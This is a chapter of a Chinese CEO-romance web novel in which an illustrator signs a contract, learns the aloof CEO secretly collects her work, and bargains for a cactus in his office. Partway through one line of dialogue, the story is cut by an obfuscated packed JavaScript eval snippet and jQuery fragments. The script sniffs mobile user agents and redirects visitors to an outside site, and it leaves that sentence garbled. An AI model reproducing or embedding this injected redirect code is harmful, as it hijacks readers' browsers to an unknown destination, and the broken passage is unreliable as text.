宁微澜盯着陆氏大厦玻璃幕墙上自己的倒影，第三次调整了衬衫领口。周一早晨八点四十五分，她比约定时间提前了十五分钟到达，却在大堂徘徊了整整十分钟不敢上楼。
"冷静点，只是签约而已..."她小声给自己打气，手指无意识地摩挲着单肩包的带子。包里装着签约所需的文件和那幅她熬夜完成的《破茧》最终修改稿。周末陆霆琛那句"周一会通知你签约事宜"让她既兴奋又忐忑，直到昨天下午才收到正式邮件通知。
手机震动起来，是林小雨发来的消息："签完合同立刻汇报！重点是——见到阎王爷了吗？他穿什么颜色的西装？表情如何？"
宁微澜翻了个白眼，回复道："还没上去呢。你能不能别老叫他阎王爷？"发完才意识到自己居然在维护陆霆琛，赶紧又补了一句："我是怕被听到惹麻烦！"
深吸一口气，她终于走向前台。接待员似乎已经收到通知，核对身份证后直接给了她一张长期门禁卡："宁小姐，请乘电梯到32楼，李总监在等您。"
电梯上升的过程中，宁微澜的思绪不由自主飘回上周五那个奇怪的"送别"。陆霆琛给她便利贴是什么意思？那句"恶魔角画得不够对称"是调侃还是批评？最让她困惑的是，他为什么特意提到白板的清洁时间...
"叮"，电梯到达32楼。宁微澜刚走出来，就看见李雯站在走廊上等她。
"宁小姐，真准时。"李雯微笑着迎上来，"合同已经准备好了，我们先去会议室吧。"
会议室里已经坐着法务部的两位同事和公关部的另一位主管。宁微澜一一打过招呼，接过厚厚的合同文本仔细阅读起来。条款非常优厚——六位数酬金、署名权、作品使用权划分明确，甚至还包括后续乡村艺术教育项目的参与机会。
"有什么问题吗？"李雯问道。
宁微澜摇摇头，签下名字。合同一式两份，她收起属于自己的那份，忍不住问道："项目具体什么时候开始？我需要和谁对接？"
"实际上，"李雯看了看手表，"陆总想先和您单独谈谈项目创意。他现在应该在办公室等您。"
宁微澜的手指一颤，差点把合同掉在地上。"陆总...亲自谈？"
"是的。"李雯的表情有些微妙，"陆总很少直接参与这类项目，但《破茧》似乎引起了他特别的兴趣。"她起身引路，"请跟我来。"
穿过几条走廊，李雯在一扇厚重的双开木门前停下，轻轻敲门："陆总，宁小姐到了。"
"进来。"熟悉的低沉嗓音从里面传出。
李雯推开门，示意宁微澜进去，自己却留在门外："有什么需要随时叫我。"说完轻轻带上了门。
宁微澜站在门口，一时不知该进还是该退。陆霆琛的办公室宽敞得超乎想象——整面落地窗俯瞰城市全景，左侧是占据半面墙的书架，右侧摆放着一组简约的沙发茶几。中央的办公桌大得夸张，上面整齐排列着几台显示器、文件夹和办公用品，每样东西都像是用尺子量过般精确摆放。
而陆霆琛本人正站在窗前打电话，背对着她。今天他穿着一套藏蓝色西装，肩线挺括，衬得背影更加挺拔。阳光透过玻璃洒在他身上，勾勒出一道耀眼的轮廓。
"...我说过不接受任何条件。"他的声音冷硬如铁，"要么按我们的条款来，要么终止合作。"说完干脆利落地挂断，转身看向宁微澜。
晨光中，他的五官显得更加立体分明，浓密的眉毛下那双眼睛如同深邃的寒潭，看不出情绪波动。
"坐。"他简短地说，指了指办公桌前的椅子。
宁微澜小心翼翼地走过去坐下，从包里取出作品集："陆总，这是我修改后的《破茧》全稿，根据评审意见调整了..."
"先不说这个。"陆霆琛打断她，从抽屉里取出一个平板电脑，点开几张图片推到她面前，"这些是你画的？"
宁微澜低头一看，血液瞬间凝固——屏幕上赫然是她微博小号上的各种霸总涂鸦，包括那个被疯传的"Q版陆总"和最新发布的"恶魔陆总"系列。
"我..."她张了张嘴，却不知如何解释。果然还是被发现了！陆氏的法务部会不会起诉她侵犯肖像权？这个项目会不会因此取消？
"创意很有趣。"陆霆琛突然说。
"啊？"宁微澜猛地抬头，怀疑自己听错了。
陆霆琛的嘴角微不可察地上扬了一下："我说，创意很有趣。尤其是这个——"他放大其中一张图，是Q版陆总抱着一盆仙人掌，旁边配字"朕的江山"。
宁微澜的脸刷地红了。那是她前天晚上失眠时的随手涂鸦，纯粹是觉得陆霆琛和仙人掌有种奇妙的相似——都带刺，又都需要精心呵护。
"对不起，我不该未经允许..."她小声嗫嚅道。
"我有个提议。"陆霆琛似乎没听见她的道歉，自顾自地说道，"陆氏下季度有个企业文化宣传项目，需要一些轻松活泼的视觉元素。你的风格很适合。"
宁微澜眨眨眼，一时没反应过来："您的意思是...?"
"除了《破茧》的公益项目，我想另外聘请你担任这个宣传项目的视觉顾问。"陆霆琛十指交叉放在桌面上，"当然，报酬另算。"
宁微澜的大脑飞速运转。这算什么？先礼后兵？先给个甜枣再打一巴掌？还是说...他真的欣赏她的画风？
"我能问问...为什么是我吗？"她鼓起勇气问道。
陆霆琛沉默了片刻，突然站起身走向书架。宁微澜这才注意到书架最下层有一个上锁的抽屉。他输入密码打开，取出一个黑色文件夹递给她。
翻开文件夹，宁微澜倒吸一口冷气——里面整齐地收集着她过去两年在各种平台发表的所有作品，从早期的网络连载漫画到最近的商业插画，甚至包括一些她以为没人会注意的小涂鸦。每幅作品下面都标注了发布日期和平台，有些旁边还有简短的评语："色彩运用出色"、"构图可改进"...
"你...你收集我的作品？"宁微澜的声音因惊讶而微微发颤。
"市场调研。"陆霆琛面不改色，"陆氏关注各领域的潜力人才。"
宁微澜将信将疑地翻看着文件夹，突然在最后一页停住了——那里贴着她上周留在会议室门上的便利贴笑脸，旁边是陆霆琛写的那行字。但最让她震惊的是，便利贴下方还有一张照片：她站在陆氏大厦前仰头张望的侧影，阳光透过树叶在她脸上投下斑驳的光影。
"这...这也是市场调研？"她指着照片，声音提高了八度。
陆霆琛的表情终于出现了一丝裂缝。他轻咳一声，迅速合上文件夹："安保系统的随机截图。现在，说说你的决定？"
宁微澜眯起眼睛。这个男人的微表情逃不过插画师的眼睛——他在尴尬！高高在上的陆氏总裁居然会因为被拆穿而尴尬！
不知哪来的勇气，她突然笑了："陆总，您是不是...其实是我的粉丝？"
办公室里的空气瞬间凝固。陆霆琛的表情重新封冻，但耳尖却微微泛红。他走回座位，声音恢复了往常的冷峻："宁小姐，请不要误解专业评估。"
"好吧好吧。"宁微澜见好就收，但心里已经乐开了花。她故作正经地思考了一会儿，"我接受您的offer，但有三个条件。"
陆霆琛挑眉："说。"
"第一，我要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15836067|175688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
创作自由，不能对我的风格指手画脚。"她竖起一根手指。
"合理。"
"第二，我不坐班，只在有需要时来公司。"第二根手指。
"可以。"
"第三..."宁微澜眼珠转了转，突然指向办公室角落的空置花架，"我要在那里放一盆仙人掌。"
陆霆琛明显愣住了："什么？"
"就是仙人掌啊，多肉植物。"宁微澜比划着，"您看那个位置阳光充足，又不会妨碍走动，放盆仙人掌再合适不过了。"
"为什么？"
"创作环境很重要啊！"宁微澜理直气壮地说，"而且您不觉得办公室太冷冰冰了吗？需要点绿色植物调节气氛。"
陆霆琛盯着她看了足足十秒钟，终于缓缓点头："可以。但必须是小型的，不招虫的，并且由你负责养护。"
"成交！"宁微澜灿烂一笑，伸出手，"合作愉快，陆总。"
陆霆琛看着她的手，迟疑了一秒才握住。他的手掌宽大温暖，指腹有薄茧，握力适中却给人一种不容挣脱的感觉。宁微澜莫名想起她画的那幅"恶魔陆总"——此刻她几乎能想象他头顶冒出两个小小尖角的模样。
"周一会把正式合同发给你。"陆霆琛松开手，"现在，说说你对《破茧》推广的想法。"
接下来的一个小时，宁微澜详细阐述了自己的创意构想。令她惊讶的是，陆霆琛虽然话不多，但每个问题都切中要害，甚至提出了一些她没想到的发行渠道。更让她意外的是，当他们讨论到乡村艺术教育计划时，陆霆琛的眼神明显柔和了许多。
"云南偏远地区的女童失学率仍然很高，"他指着地图上的几个标记点，"陆氏在那里有助学项目，可以结合你的艺术课程。"
宁微澜忍不住问："您亲自去过这些地方吗？"
陆霆琛点点头："每年两次。"见她一脸惊讶，又补充道，"不对外公开。"
这个意外的发现让宁微澜对陆霆琛的印象彻底刷新。也许"冷面阎王"的外表下，藏着不为人知的一面？
讨论接近尾声时，陆霆琛的座机突然响起。他按下免提，周助理的声音传来："陆总，十点的会议还有五分钟开始，参会人员已经到齐了。"
"知道了。"陆霆琛挂断电话，站起身，"今天就到这里。周一会安排人和你对接具体事宜。"
宁微澜识相地收拾东西准备离开，突然想起什么，从包里掏出一个小本子迅速画了几笔，撕下那页纸放在陆霆琛桌上："送给您的小礼物，算是签约纪念。"
陆霆琛低头一看，纸上画着一个Q版小人——西装革履的迷你陆总正抱着一盆仙人掌，头顶气泡里写着"朕的办公室"。与之前不同的是，这次的仙人掌上开了一朵小花。
"谢谢。"他的声音依然平静，但嘴角的线条似乎柔和了些许。
宁微澜笑着挥挥手，转身离开。走到门口时，她鬼使神差地回头看了一眼——陆霆琛正小心翼翼地将那张涂鸦放进抽屉，动作轻柔得不可思议。
走廊上，宁微澜终于忍不住笑出声来。这个陆霆琛，和她想象的太不一样了！她迫不及待想告诉林小雨这个惊天发现，但转念一想，又决定暂时保密——有些秘密，还是自己独享比较有趣。
电梯下到一楼，她径直走出大厦，阳光暖暖地洒在脸上。经过一家花店时，她停下脚步，目光落在橱窗里一盆小巧可爱的仙人掌上——圆滚滚的球体，顶端冒着一朵粉红色小花，像戴了顶俏皮的小帽子。
"就是你了！"宁微澜推开花店门，嘴角挂着掩不住的笑意。她已经能想象这盆仙人掌摆在陆霆琛办公室里的样子，还有他看到时的表情...